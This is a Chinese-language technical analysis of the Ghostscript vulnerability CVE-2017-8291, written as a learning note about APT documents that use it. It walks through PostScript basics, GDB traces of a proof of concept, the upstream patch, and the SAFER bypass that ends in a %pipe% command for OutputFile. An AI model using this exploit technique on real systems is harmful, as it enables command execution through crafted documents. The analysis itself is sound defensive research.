CVE-2017-8291及利用样本分析
1.本文一共4500多字 88张图 预计10分钟阅读完毕2.本人系复眼小组ERFZE师傅原创,未经允许禁止转载3.本文可能存在部分表达的不清甚至错误的情况,还希望各位看官在公众号留言多多提出,非常感谢!
封面
0x00 前言:
在日常的针对朝鲜半岛APT
活动的分析中,我们可以看到其来自朝鲜的APT
组织,例如:lazarus
,kimsuky
等,其载荷中大量使用了韩国办公软件Hancom office
所对应的hwp后缀的样本进行投递.本文将通过解析其中所用的最多的漏洞——CVE-2017-8291为切入点进行相关的分析,以及kimsuky
,Lazarus
APT组织样本的调试过程
注意:笔者在此前从未接触过Postscript及Ghostscript(甚至不闻其名),该文权当笔者在学习过程中的一篇学习笔记,其中如有不当之处,望各位看官能够赐教,笔者感激不尽!。
0x01 Postscript:
读者可以先行安装Ghostscript
,之后便可于其中运行下列示例。
0x01.1 介绍:(引自维基百科)
注:读者若要详细了解,见参考链接。
PostScript
是一种图灵完全的编程语言,通常PostScript
程序不是人为生成的,而是由其他程序生成的。然而,仍然可以使用手工编制的PostScript程序生成图形或者进行计算。
PostScript
是一种基于堆栈的解释语言(例如stack language),它类似于Forth语言但是使用从Lisp语言派生出的数据结构。这种语言的语法使用逆波兰表示法,这就意味着不需要括号进行分割,但是因为需要记住堆栈结构,所以需要进行训练才能阅读这种程序。
0x01.2 入门示例:
1.1 2 add
:1+22.3 4 add 5 1 sub mul
:(3 + 4) × (5 - 1)3./x1 15 def
:定义一变量x1
,其值为154./x1 x1 2 add def
:x1+=2
5.x1 0 eq { 0 } if
:{}
可以简单理解为定义一过程6.%!PS-Adobe-3.0 EPSF-3.0
:注释语句以%
开头
0x01.3 For
语句:
for
语句语法:initial increment limit proc for
。
它会维护一个control variable
,初始值设为initial
。然后,在每次重复之前,会先比较control variable
与limit
。若未超过limit
,则 将control variable
入栈,执行proc
之后再将increment
添加到control variable
。
示例如下:
01 1 10 { pop 1 add} for
可以用C语言写成(仅仅为表示其功能):
int a = 1;int i;for (i = 1; i <= 10; i++){ a+=1:}
图片1 运行结果
pstack
打印当前栈中所有元素。
0x01.4 exch
语句:
交换堆栈顶部的两个元素:
图片2 exch
可以用来给变量赋值:
图片3 变量赋值
0x01.5 array
语句:
定义数组:
图片4 定义数组
0x01.6 put
语句:
为数组/字典/字符串中某个元素赋值:
图片5 数组
图片6 字典
图片7 字符串
0x01.7 index
语句:
index
语句语法:anyn … any0 n index
。
复制第n个元素到栈顶:
图片8 index
与for
及put
语句结合使用,可以为整个数组赋值:
图片9 整个数组赋值
可以用C语言写成(仅仅为表示其功能):
int tmp[10];int i;int a = 0;for (i = 1; i <= 10; i++){ tmp[a] = i; a += 1;}
0x01.8 get
语句:
与put
语句相反,取出数组/字典/字符串中某个元素:
图片10 数组
图片11 字典
图片12 字符串
0x01.9 aload
语句:
将数组元素及其自身入栈:
图片13 aload
0x01.10 le
语句:
取出栈顶两个元素进行比较,结果(前者小于后者,为true
;反之为false
)入栈:
图片14 数值
图片15 字符串
0x01.11 ge
语句:
与le
语句比较规则相反:
图片16 ge
0x01.12 repeat
语句:
repeat
语句语法:int proc repeat
。
重复执行proc
指定次数:
图片17 repeat
笔者上述介绍的语句均在POC中出现,若读者未完全理解,可进一步查阅官方参考文档。
0x02 POC分析:
笔者分析环境:Ubuntu 18.04、Ghostscript 9.21、GDB+pwndbg
图片18 POC(Part 1)
可以用C语言写成(仅仅为表示其功能):
int size_from = 10000; int size_step = 500; int size_to = 65000; int a = 0; int i; for (i = size_from; i <= size_to; i += size_step) a += 1; int buffercount = a; int* buffersizes = NULL; buffersizes = (int*)malloc(buffercount * sizeof(int)); a = 0; for (i = size_from; i <= size_to; i += size_step) { buffersizes[a] = i; a += 1; }
图片19 POC(Part 2)
其功能为定义buffers
,令buffers[n]
为buffersizes[n] string
(e.g.:buffers[0]=10000 string
),且每个buffers[n]
的最后16位均为0xFF
。关于cursize 16 sub 1 cursize 1 sub {curbuf exch 255 put}for
这段代码如何修改buffers[n]
的理解,可参阅下图:
图片20 示例代码
下面到了关键部分。首先修改POC如下:
/buffersearchvars [0 0 0 0 0] def/sdevice [0] def buffers %++(buffers) print %++pop %++ enlarge array aload(after aload) print %++
如此一来,可直接在zprint()
函数处设断。(若在zaload()
函数处设断,无法一次断下)
启动GDB后设置参数如下:
set args -q -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f /home/test/exp.eps
实现aload
操作的函数zaload()
[位于/psi/zarray.c]是第一个关键点:
图片21 zaload()
b zprint
设置断点,r
开始执行后,成功在zprint()
函数处断下:
图片22 于zprint()设断
查看osp及osbot(变量名osbot,osp和ostop代表operator stack的栈底、栈指针和栈顶):
gdb-peda$ p osbot$29 = (s_ptr) 0x555557040408 gdb-peda$ p osp$30 = (s_ptr) 0x555557040418 gdb-peda$ x /4gx osbot0x555557040408: 0x0000006f5715047e 0x00005555572d5e600x555557040418: 0x00000007ffff127e 0x00005555575d44e9
根据ref_s
结构(位于/psi/iref.h)的定义:
struct ref_s { struct tas_s tas; union v { /* name the union to keep gdb happy */ ps_int intval; ushort boolval; float realval; ulong saveid; byte *bytes; const byte *const_bytes; ref *refs; const ref *const_refs; name *pname; const name *const_pname; dict *pdict; const dict *const_pdict; /* * packed is the normal variant for referring to packed arrays, * but we need a writable variant for memory management and for * storing into packed dictionary key arrays. */ const ref_packed *packed; ref_packed *writable_packed; op_proc_t opproc; struct stream_s *pfile; struct gx_device_s *pdevice; obj_header_t *pstruct; uint64_t dummy; /* force 16-byte ref on 32-bit platforms */ } value;};
可知0x00005555575d44e9
地址处存储的应该是buffers
字符串,验证之:
图片23 字符串buffers
那么0x00005555572d5e60
地址处存储的是buffers
数组,根据POC Part2能够得知buffers[n]
为buffersizes[n] string
,且每个buffers[n]
的最后16位均为0xFF
,验证之:
图片24 数组元素buffers[0]
b zaload
于zaload()
函数处设断,c
继续执行,于zaload()
函数处成功断下后,s
单步执行到if (asize > ostop - op)
:
gdb-peda$ p asize$37 = 0x3e8gdb-peda$ p ostop-op$38 = 0x31f
IF条件成立,那么调用ref_stack_push()
函数(位于/psi/istack.c)重新分配栈空间:
/* * Push N empty slots onto a stack. These slots are not initialized: * the caller must immediately fill them. May return overflow_error * (if max_stack would be exceeded, or the stack has no allocator) * or gs_error_VMerror. */intref_stack_push(ref_stack_t *pstack, uint count){ /* Don't bother to pre-check for overflow: we must be able to */ /* back out in the case of a VMerror anyway, and */ /* ref_stack_push_block will make the check itself. */ uint needed = count; uint added; for (; (added = pstack->top - pstack->p) < needed; needed -= added) { int code; pstack->p = pstack->top; code = ref_stack_push_block(pstack, (pstack->top - pstack->bot + 1) / 3, added); if (code < 0) { /* Back out. */ ref_stack_pop(pstack, count - needed + added); pstack->requested = count; return code; } } pstack->p += needed; return 0;}
之后的操作是向重新分配的栈空间中写入内容,b zarray.c:71
于修改osp
语句设断,c
继续执行到断点处:
gdb-peda$ x /2gx osp0x5555575006f8: 0x0000000000000e00 0x0000000000000000gdb-peda$ x /2gx &aref0x7fffffffc8e0: 0x000003e85715047c 0x000055555796c3e8gdb-peda$ s......gdb-peda$ x /2gx osp0x5555575006f8: 0x000003e85715047c 0x000055555796c3e8
x /222gx 0x5555572d5e60
查看buffers
数组的每一项地址:
图片25 buffers
注意:osp(0x5555575006f8)位于上图箭头所指数组项下方。
实现.eqproc
操作的函数zeqproc()
(位于/psi/zmisc3.c)是第二个关键点。.eqproc
是取出栈顶两个元素进行比较之后入栈一个布尔值( .eqproc
):
图片26 zeqproc()
可以看出其在取出两个操作数时并未检查栈中元素数量,且并未检查两个操作数类型,如此一来,任意两个操作数都可以拿来进行比较。其修复方案即是针对此两种情况:
--- a/psi/zmisc3.c+++ b/psi/zmisc3.c@@ -56,6 +56,12 @@ zeqproc(i_ctx_t *i_ctx_p) ref2_t stack[MAX_DEPTH + 1]; ref2_t *top = stack; + if (ref_stack_count(&o_stack) < 2)+ return_error(gs_error_stackunderflow);+ if (!r_is_array(op - 1) || !r_is_array(op)) {+ return_error(gs_error_typecheck);+ }+ make_array(&stack[0].proc1, 0, 1, op - 1); make_array(&stack[0].proc2, 0, 1, op); for (;;) {
b zeqproc
设断后,c
继续执行,于zeqproc()
函数处成功断下。接下来b zmisc3.c:112
于make_false(op - 1);
设断:
gdb-peda$ b zmisc3.c:112Breakpoint 13 at 0x555555d1d754: file ./psi/zmisc3.c, line 112.gdb-peda$ c......gdb-peda$ p osp$66 = (s_ptr) 0x5555575006f8gdb-peda$ x /4gx osp-10x5555575006e8: 0x0000000000000e02 0x00000000000000000x5555575006f8: 0x000003e85715047c 0x000055555796c3e8gdb-peda$ s......gdb-peda$ x /4gx osp-10x5555575006e8: 0x0000000000000100 0x00000000000000000x5555575006f8: 0x000003e85715047c 0x000055555796c3e8
可以看到make_false()
修改之处。之后的pop(1);
将栈指针上移,如此一来.eqproc
与loop
结合便可导致栈指针上溢。
下面来看POC Part3:
图片27 POC(Part3)
其通过buffersearchvars
数组来检索buffers[N]
(修改项见图片25)字符串后16位是否被make_false()
修改,进而判断osp
是否到达可控范围,并通过buffersearchvars
数组来保存位置。
于POC中254 le {
后添加(Overwritten) print
,并将之前添加的print
语句全部注释掉。重新启动GDB,设置参数见上,b zprint
设断后,r
开始运行,成功断下后:
gdb-peda$ x /8gx osp-20x5555574fc958: 0xffffffffffff0100 0xffffffffffff00000x5555574fc968: 0x0000a604ffff127e 0x00005555574f23640x5555574fc978: 0x0000000a2f6e127e 0x00005555575de0fb0x5555574fc988: 0x5245504150200b02 0x0000000000000001
如此一来,buffersearchvars[2]设为1,退出loop
循环。buffersearchvars[3]保存当前检索的buffers[N],buffersearchvars[4]保存buffersizes[N]-16。
POC Part4是修改currentdevice对象属性为string,并保存至sdevice
数组中,之后再覆盖其LockSafetyParams属性,达到Bypass SAFER。
图片28 POC(Part4)
三个.eqproc
语句上移osp是因为后面会有sdevice
、0、currentdevice
入栈。修改POC如下,便于设断:
(before zeqproc) print.eqproc.eqproc.eqprocsdevice 0currentdevice(before convert) printbuffersearchvars 3 get buffersearchvars 4 get 16#7e putbuffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 putbuffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put(after convert) printput buffersearchvars 0 get array aload sdevice 0 get16#3e8 0 put sdevice 0 get16#3b0 0 put sdevice 0 get16#3f0 0 put (bypass SAFER) print
于zprint
断下后,查看上移前osp:
gdb-peda$ p osp$1 = (s_ptr) 0x5555574fc968gdb-peda$ x /10gx osp-30x5555574fc938: 0x0000000000000000 0x0000000000000000 //sdevice0x5555574fc948: 0x0000000000000000 0x0000000000000000 //00x5555574fc958: 0xffffffffffff0100 0xffffffffffff0000 //currentdevice0x5555574fc968: 0x0000000effff127e 0x00005555572d81400x5555574fc978: 0x00000001ffff04fe 0x00005555572d6c40gdb-peda$ hexdump 0x00005555572d81400x00005555572d8140 : 62 65 66 6f 72 65 20 7a 65 71 70 72 6f 63 ed 3e before zeqproc.>
c
继续向下执行:
gdb-peda$ p osp$2 = (s_ptr) 0x5555574fc968gdb-peda$ x /10gx osp-30x5555574fc938: 0x00000001ffff047e 0x00005555575d44280x5555574fc948: 0x00000252ffff0b02 0x00000000000000000x5555574fc958: 0xffffffffffff1378 0x000055555709d4880x5555574fc968: 0x0000000effff127e 0x00005555572d812a0x5555574fc978: 0x00000001ffff04fe 0x00005555572d6c40gdb-peda$ hexdump 0x00005555572d812a0x00005555572d812a : 62 65 66 6f 72 65 20 63 6f 6e 76 65 72 74 96 3f before convert.?
可以看到currentdevice
已经覆盖掉之前的字符串buffers[N],接下来的三条语句修改其属性:
buffersearchvars 3 get buffersearchvars 4 get 16#7e putbuffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put %0x127e表示stringbuffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put %修改size
关于属性各字段定义见tas_s结构(位于/psi/iref.h)):
struct tas_s {/* type_attrs is a single element for fast dispatching in the interpreter */ ushort type_attrs; ushort _pad; uint32_t rsize;};
修改完成:
gdb-peda$ c......gdb-peda$ p osp$2 = (s_ptr) 0x5555574fc968gdb-peda$ x /10gx osp-30x5555574fc938: 0x00000001ffff047e 0x00005555575d44280x5555574fc948: 0x00000252ffff0b02 0x00000000000000000x5555574fc958: 0xffffffffffff127e 0x000055555709d4880x5555574fc968: 0x0000000dffff127e 0x00005555572d81150x5555574fc978: 0x00000002ffff0b02 0x000000000000a5f9gdb-peda$ hexdump 0x00005555572d81150x00005555572d8115 : 61 66 74 65 72 20 63 6f 6e 76 65 72 74 97 3f 00 after convert.?.
查看此时的LockSafetyParams
值:
gdb-peda$ x /4gx 0x000055555709d488+0x3e80x55555709d870: 0x0000000000000001 0x00000000000000000x55555709d880: 0x0000000000000000 0x0000000000000000gdb-peda$ x /4gx 0x000055555709d488+0x3b00x55555709d838: 0x0000000000000000 0x00000000000000000x55555709d848: 0x0000000000000000 0x0000000000000000gdb-peda$ x /4gx 0x000055555709d488+0x3f00x55555709d878: 0x0000000000000000 0x00000000000000000x55555709d888: 0x0000000000000000 0x0000000000000000
可以看到偏移0x3e8
处值为1(另外两处偏移应该是针对其他系统或版本)。LockSafetyParams
属性见gx_device_s
结构(位于\base\gxdevcli.h)。
最后通过.putdeviceparams
(实现位于/psi/zdevice.c)设置/OutputFile
为(%pipe%echo vulnerable > /dev/tty)
,.outputpage
完成调用。